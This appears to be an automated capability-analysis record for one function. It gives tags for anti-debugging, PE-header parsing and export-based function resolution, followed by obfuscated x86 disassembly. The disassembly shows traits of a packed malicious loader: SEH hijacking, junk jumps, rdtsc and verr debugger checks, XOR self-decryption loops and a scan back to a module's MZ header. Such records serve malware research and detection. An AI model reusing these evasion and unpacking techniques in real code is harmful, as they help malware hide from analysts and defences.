Function at 0x6c54e0
Capabilities:
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov dword [0x6c3004], esp
push 0x6c5505
push dword fs:[0]
jmp 0x6c54f6
mov dword fs:[0], esp
jmp 0x6c5500
jmp 0x6c597d
push ebp
jmp 0x6c5982
mov ebp, esp
jmp 0x6c598b
jmp 0x6c5989
jmp 0x6c598e
jmp 0x6c5987
sub esp, 0x64
jmp 0x6c5998
mov dword [ebp - 8], 0x10
jmp 0x6c59a3
mov dword [ebp - 4], 5
mov dword [ebp - 0x28], 1
mov byte [ebp - 0x10], 1
jmp 0x6c59ba
mov dword [ebp - 0x1c], 0
jmp 0x6c59dd
mov eax, dword [ebp - 0x1c]
add eax, 1
jmp 0x6c59cf
mov dword [ebp - 0x1c], eax
jbe 0x6c59d7
nop
lea eax, [eax]
ja 0x6c59dd
jmp 0x6c59dd
cmp dword [ebp - 0x1c], 0x81
jmp 0x6c59e8
jge 0x6c5a07
jmp 0x6c59ee
mov ecx, dword [ebp - 0x1c]
jmp 0x6c59f5
mov byte [ecx + 0x6d93b6], 0
jmp 0x6c5a01
jmp 0x6c59c3
mov dword [ebp - 0xc], 1
jmp 0x6c5a12
mov edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x6c5a1c
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x6c5a2a
mov dword [ebp - 0x24], 0
jmp 0x6c5a35
mov ecx, dword [ebp - 8]
jmp 0x6c5a3c
imul ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
jmp 0x6c5a47
mov edx, dword [ebp - 0x10]
and edx, 0xff
test edx, edx
jmp 0x6c5a56
je 0x6c5e9f
mov eax, dword [ebp - 0x24]
jmp 0x6c5a63
mov dword [ebp - 0x1c], eax
jmp 0x6c5a6a
jmp 0x6c5a87
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5a76
add ecx, 1
jmp 0x6c5a80
mov dword [ebp - 0x1c], ecx
jmp 0x6c5a87
cmp dword [ebp - 0x1c], 0x81
jge 0x6c5b19
jmp 0x6c5a98
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov al, byte [edx + 0x6d93b6]
jmp 0x6c5aa7
jmp 0x6c5aab
add eax, dword [ebp - 0x20]
jmp 0x6c5ab2
mov dword [ebp - 0x18], eax
jmp 0x6c5ab9
mov eax, dword [ebp - 0x18]
jmp 0x6c5abf
cdq
jmp 0x6c5ac5
idiv dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5acf
mov byte [ecx + 0x6d93b6], al
mov edx, dword [ebp - 0x1c]
jmp 0x6c5adc
xor eax, eax
jmp 0x6c5ae3
mov al, byte [edx + 0x6d93b6]
mov ecx, dword [ebp - 0x14]
imul ecx, eax
jmp 0x6c5af2
mov edx, dword [ebp - 0x18]
sub edx, ecx
jmp 0x6c5afb
imul edx, edx, 0x64
jns 0x6c5b0c
nop
lea eax, [eax]
js 0x6c5b0c
jmp 0x6c5b0c
mov dword [ebp - 0x20], edx
jmp 0x6c5a70
mov dword [ebp - 0x20], 0
jae 0x6c5b27
loopne 0x6c5b1d
add byte [eax], al
add byte [ebx + 5], dh
mov ecx, ecx
jb 0x6c5b27
or byte [ebx + 0x3ebdc45], 0xeb
cld
jmp 0x6c5b1b
mov eax, dword [ebp - 0x24]
jmp 0x6c5b2f
jmp 0x6c5b32
mov dword [ebp - 0x1c], eax
jmp 0x6c5b53
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5b42
add ecx, 1
jmp 0x6c5b4c
mov dword [ebp - 0x1c], ecx
jmp 0x6c5b53
cmp dword [ebp - 0x1c], 0x81
jge 0x6c5bf1
mov edx, dword [ebp - 0x1c]
xor eax, eax
jmp 0x6c5b69
mov al, byte [edx + 0x6d93b6]
jle 0x6c5b76
mov edx, edx
jg 0x6c5b76
add byte [ebx], 0x45
loopne 0x6c5b65
add eax, dword [ebp - 0x20]
jmp 0x6c5b7e
add eax, dword [ecx + 0x458903c0]
call 0xec54a110
add bh, ah
cdq
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x6c5b88
cdq
jmp 0x6c5b8d
idiv dword [ebp - 0xc]
jmp 0x6c5b96
jmp 0x6c5b9a
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5ba1
jmp 0x6c5ba5
mov byte [ecx + 0x6d9437], al
mov edx, dword [ebp - 0x1c]
jmp 0x6c5bb2
jmp 0x6c5bb6
xor eax, eax
mov al, byte [edx + 0x6d9437]
jmp 0x6c5bc2
mov ecx, dword [ebp - 0xc]
jmp 0x6c5bc9
imul ecx, eax
mov edx, dword [ebp - 0x18]
jmp 0x6c5bd2
sub edx, ecx
imul edx, edx, 0x64
jmp 0x6c5bdf
mov dword [ebp - 0x20], edx
jmp 0x6c5b3b
mov dword [ebp - 0x20], 0
jmp 0x6c5bfc
cmp dword [ebp - 0x28], 0
jmp 0x6c5c08
jmp 0x6c5c0b
jle 0x6c5cd3
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1c], 0x80
jmp 0x6c5c24
jmp 0x6c5c35
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jmp 0x6c5c40
add byte [eax], al
add bl, ch
add cl, ah
xchg byte [edi], cl
mov word [eax - 0x15000000], cs
add bh, bh
adc al, 0x8b
dec ebp
in al, 0xeb
add dh, bh
add eax, 0x3ebd231
xchg edi, eax
test dword [esi - 0x6cca6e76], edi
insd dword es:[edi], dx
add byte [ebx + 0x2ebe445], cl
jmp 0x6c5c67
jl 0x6c5cce
jmp 0x6c5c4a
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5c51
xor edx, edx
jmp 0x6c5c58
mov dl, byte [ecx + 0x6d9335]
mov eax, dword [ebp - 0x1c]
jmp 0x6c5c65
jmp 0x6c5c68
jmp 0x6c5c9a
xor ecx, ecx
mov cl, byte [eax + 0x6d9437]
mov eax, dword [ebp - 0x30]
jmp 0x6c5c76
add eax, edx
jmp 0x6c5c7c
add ecx, eax
jmp 0x6c5c82
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0
cmp dword [ebp - 0x2c], 0x64
jl 0x6c5cb2
aam 0x64
add byte [eax], al
add byte [ebp + ebx - 0x39], bh
inc ebp
rol byte [ecx], 1
add byte [eax], al
add byte [ebx - 0x167e2bb3], cl
add byte fs:[eax], al
add bl, ch
add al, 0x29
leave
add eax, 0x8102eb6f
jmp 0x6c5c39
mov dword [ebp - 0x30], 1
add byte [eax], al
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x64
jmp 0x6c5cab
jmp 0x6c5caf
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x1c]
jmp 0x6c5cb8
mov al, byte [ebp - 0x2c]
jmp 0x6c5cbf
mov byte [edx + 0x6d9335], al
jmp 0x6c5c2a
jmp 0x6c5db0
mov dword [ebp - 0x38], 0
jmp 0x6c5cdd
mov dword [ebp - 0x1c], 0x80
jl 0x6c5cec
nop
jl 0x6c5cef
jge 0x6c5cef
mov al, 0xeb
stc
mov ah, 0xeb
sbb ebp, ebx
add ch, byte [ecx - 0x4f]
jmp 0x6c5ce7
jmp 0x6c5d0c
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5cfc
add al, byte [ebx + 0x1e981d0]
add byte [eax], al
add byte [ecx + 0x2ebe44d], cl
jmp 0x6c5d0b
sub ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x6c5d09
jmp 0x6c5d0c
jmp 0x6c5c8e
cmp dword [ebp - 0x1c], 0
jl 0x6c5db0
jae 0x6c5d21
nop
jae 0x6c5cf9
jb 0x6c5d21
push ds
jmp 0x6c5d24
mov edx, dword [ebp - 0x1c]
jp 0x6c5d2f
lea ebx, [ebx]
jnp 0x6c5d2f
jmp 0x6c5d2e
push dword [ecx]
ror byte [edx + 0x6d933582], 0
xor eax, eax
mov al, byte [edx + 0x6d9335]
jmp 0x6c5d3a
mov ecx, dword [ebp - 0x1c]
xor edx, edx
jmp 0x6c5d43
mov dl, byte [ecx + 0x6d9437]
sub eax, edx
jmp 0x6c5d4f
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
jmp 0x6c5d59
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0x34], 0
jmp 0x6c5d6e
jmp 0x6c5d71
jmp 0x6c5d6b
jge 0x6c5d96
jmp 0x6c5d77
mov dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x34]
jmp 0x6c5d86
add eax, 0x64
jmp 0x6c5d8e
mov dword [ebp - 0x34], eax
jmp 0x6c5d96
mov ecx, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x34]
jmp 0x6c5da0
mov byte [ecx + 0x6d9335], dl
jmp 0x6c5dab
jmp 0x6c5cf5
mov eax, dword [ebp - 0x28]
neg eax
jmp 0x6c5dbb
jmp 0x6c5dbf
mov dword [ebp - 0x28], eax
jmp 0x6c5dc5
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov dword [ebp - 0xc], ecx
jmp 0x6c5dd5
mov byte [ebp - 0x10], 0
jmp 0x6c5ddd
mov edx, dword [ebp - 0x24]
jmp 0x6c5de4
jmp 0x6c5de8
mov dword [ebp - 0x1c], edx
jmp 0x6c5e04
mov eax, dword [ebp - 0x1c]
jmp 0x6c5df9
add eax, 1
jmp 0x6c5e01
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x81
jge 0x6c5e3e
jmp 0x6c5e11
mov ecx, dword [ebp - 0x1c]
jmp 0x6c5e18
xor edx, edx
mov dl, byte [ecx + 0x6d93b6]
test edx, edx
jmp 0x6c5e26
je 0x6c5e3c
jmp 0x6c5e2c
mov byte [ebp - 0x10], 1
jmp 0x6c5e36
jmp 0x6c5e3a
jmp 0x6c5e3e
jmp 0x6c5df2
mov eax, dword [ebp - 0x10]
jmp 0x6c5e45
and eax, 0xff
jmp 0x6c5e4e
test eax, eax
jmp 0x6c5e54
je 0x6c5e92
jmp 0x6c5e5a
mov ecx, dword [ebp - 0x24]
jmp 0x6c5e61
xor edx, edx
mov dl, byte [ecx + 0x6d93b6]
test edx, edx
jmp 0x6c5e6f
jne 0x6c5e92
jno 0x6c5e78
mov edx, edx
jo 0x6c5e78
or byte [ebx + 0x105dc45], 0
add byte [eax], al
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
jmp 0x6c5e88
jmp 0x6c5e5a
jmp 0x6c5a47
mov esp, ebp
jmp 0x6c5ea5
pop ebp
mov eax, dword [0x6c3004]
jmp 0x6c5eaf
mov edi, dword [eax]
jmp 0x6c5eb5
and edi, 0xfffff000
jmp 0x6c5ec0
jmp 0x6c5ed0
sub edi, 0x1000
jmp 0x6c5ed0
cmp word [edi], 0x5a4d
jmp 0x6c5ed9
jne 0x6c5ec6
jmp 0x6c5edf
mov eax, edi
jmp 0x6c5ee5
add eax, dword [edi + 0x3c]
cmp word [eax], 0x4550
jne 0x6c5ec6
jmp 0x6c5ef2
xor ecx, ecx
jmp 0x6c5ef8
mov cx, word [eax + 6]
cmp ecx, 1
jl 0x6c5ec6
xor ecx, ecx
mov cx, word [eax + 0x16]
jmp 0x6c5f0e
and ecx, 0x2000
jmp 0x6c5f18
test ecx, ecx
je 0x6c5ec6
jmp 0x6c5f21
xor ecx, ecx
jmp 0x6c5f27
jmp 0x6c5f2b
mov cx, word [eax + 0x14]
jmp 0x6c5f34
cmp ecx, 0x60
jl 0x6c5ec6
jmp 0x6c5f47
jmp 0x6c5f4a
jmp 0x6c5f44
cmp ecx, 0xe0
jmp 0x6c5f56
jmp 0x6c5f5a
ja 0x6c5ec6
jmp 0x6c5f64
cmp dword [eax + 0x78], 0
je 0x6c5ec6
cmp dword [eax + 0x7c], 0
je 0x6c5ec6
jmp 0x6c5f83
mov eax, dword [eax + 0x78]
mov dword [0x6c3008], eax
jmp 0x6c5f8f
mov dword [0x6c300c], edi
jmp 0x6c5f99
jmp 0x6c5f9c
mov eax, 0x76bdf845
mov ebx, 0x76bdf845
jmp 0x6c5fab
ror ebx, 0xb
jmp 0x6c5fb2
xor eax, ebx
sub ebx, 0x76bdf845
jmp 0x6c5fc1
jmp 0x6c5fc4
jmp 0x6c5fbc
mov esi, 0x6ca26a
jmp 0x6c5fcd
jmp 0x6c5fd1
mov ecx, 0x6d922d
jmp 0x6c5fda
sub ecx, esi
jmp 0x6c5fe0
dec esi
jmp 0x6c5fe5
jmp 0x6c5fe9
rol eax, 0xe
jmp 0x6c5ff0
xor byte [esi + ecx], al
jmp 0x6c5ff7
add eax, ebx
jmp 0x6c5ffd
test eax, 0x10
jmp 0x6c6006
jne 0x6c6019
jmp 0x6c600d
xchg ebx, eax
jne 0x6c6016
nop
jne 0x6c608d
je 0x6c6016
hlt
jmp 0x6c6019
test eax, 0x400
jmp 0x6c6024
jmp 0x6c6028
jne 0x6c6033
xchg ah, al
xchg bh, bl
jmp 0x6c6033
dec ecx
jmp 0x6c6038
jne 0x6c5fe9
jno 0x6c6042
lea ecx, [ecx]
jo 0x6c6042
jmp 0x6c6041
dec dword [edi]
xor dword [ecx + 0x7d02ebc3], ecx
mov eax, 0x310fd189
rdtsc
mov ebx, eax
jmp 0x6c604a
mov ecx, edx
rdtsc
jmp 0x6c6053
sub eax, ebx
jmp 0x6c605b
sbb edx, ecx
jb 0x6c6065
lea ebx, [ebx]
jae 0x6c6065
jmp 0x6c6064
dec dword [edi]
xor ebx, ebp
add al, byte [eax + 0x11d801e1]
retf 0x3eb
rdtsc
jmp 0x6c606b
add eax, ebx
adc edx, ecx
jmp 0x6c6074
rdtsc
jmp 0x6c607a
sub eax, ebx
jmp 0x6c6080
sbb edx, ecx
jmp 0x6c6086
not edx
mov eax, edx
jp 0x6c6091
nop
lea ebx, [ebx]
jnp 0x6c6095
jmp 0x6c6095
xor eax, 0xdd53d2c6
jmp 0x6c609f
mov ebx, 0x6cd470
jmp 0x6c60a8
mov ecx, 0x6d922d
jmp 0x6c60b1
sub ecx, 0x6cd470
xor byte [ebx], al
ror eax, cl
jmp 0x6c60bf
inc ebx
dec ecx
jne 0x6c60b7
jmp 0x6c60c7
jmp 0x6c60cb
mov ecx, 0x6d23d8
jmp 0x6c60d4
jmp 0x6c60d8
dec ecx
jmp 0x6c60dd
jmp 0x6c60e1
mov edx, 0x6d922d
jmp 0x6c60eb
sub edx, ecx
jno 0x6c60f4
mov edi, edi
jo 0x6c60f4
cmp byte [eax + 0x5c14eca7], 0xbb
sub byte [ecx], al
sbb al, 0xc9
mov eax, 0x5c14eca7
mov ebx, 0xc91c0128
jmp 0x6c6103
jmp 0x6c610a
dec edx
jmp 0x6c610f
add byte [ecx + edx], bl
jmp 0x6c6116
add ebx, eax
add ebx, eax
jmp 0x6c611e
dec edx
jne 0x6c610f
mov ax, 0x8c
jmp 0x6c6128
verr ax
jmp 0x6c612f
jne 0x6c616e
mov eax, dword [0x6c3004]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0x40]
mov esi, dword [eax + 8]
mov edi, esi
xor eax, eax
jmp 0x6c6147
xor ecx, ecx
dec ecx
repne scasb al, byte es:[edi]
mov edi, 0x6d9230
jmp 0x6c6155
neg ecx
jmp 0x6c615a
dec ecx
jmp 0x6c615f
rep movsb byte es:[edi], byte [esi]
jmp 0x6c6165
jmp 0x6c61e5
xor eax, eax
mov edi, 0x20498
jmp 0x6c6179
xor ecx, ecx
dec ecx
repne scasw ax, word es:[edi]
test edi, 3
jmp 0x6c618b
je 0x6c619e
jmp 0x6c6192
and edi, 0xfffffffc
add edi, 4
xor ecx, ecx
jmp 0x6c61a5
dec ecx
repne scasw ax, word es:[edi]
cmp byte [edi], 0
jmp 0x6c61b0
jne 0x6c61be
jmp 0x6c61b8
jmp 0x6c61bc
inc edi
inc edi
mov esi, 0x6d9230
jmp 0x6c61c8
mov ax, word [edi]
jmp 0x6c61cf
mov byte [esi], al
inc edi
inc edi
jmp 0x6c61d7
inc esi
jmp 0x6c61dc
test ax, ax
jmp 0x6c61e3
jne 0x6c61c8
mov ecx, 0x6c3020
jmp 0x6c61ef
mov dl, byte [ecx]
jmp 0x6c61f5
jmp 0x6c61f9
mov edi, 0x6d9230
test dl, dl
jmp 0x6c6205
je 0x6c632d
jmp 0x6c6212
mov eax, edi
jge 0x6c6332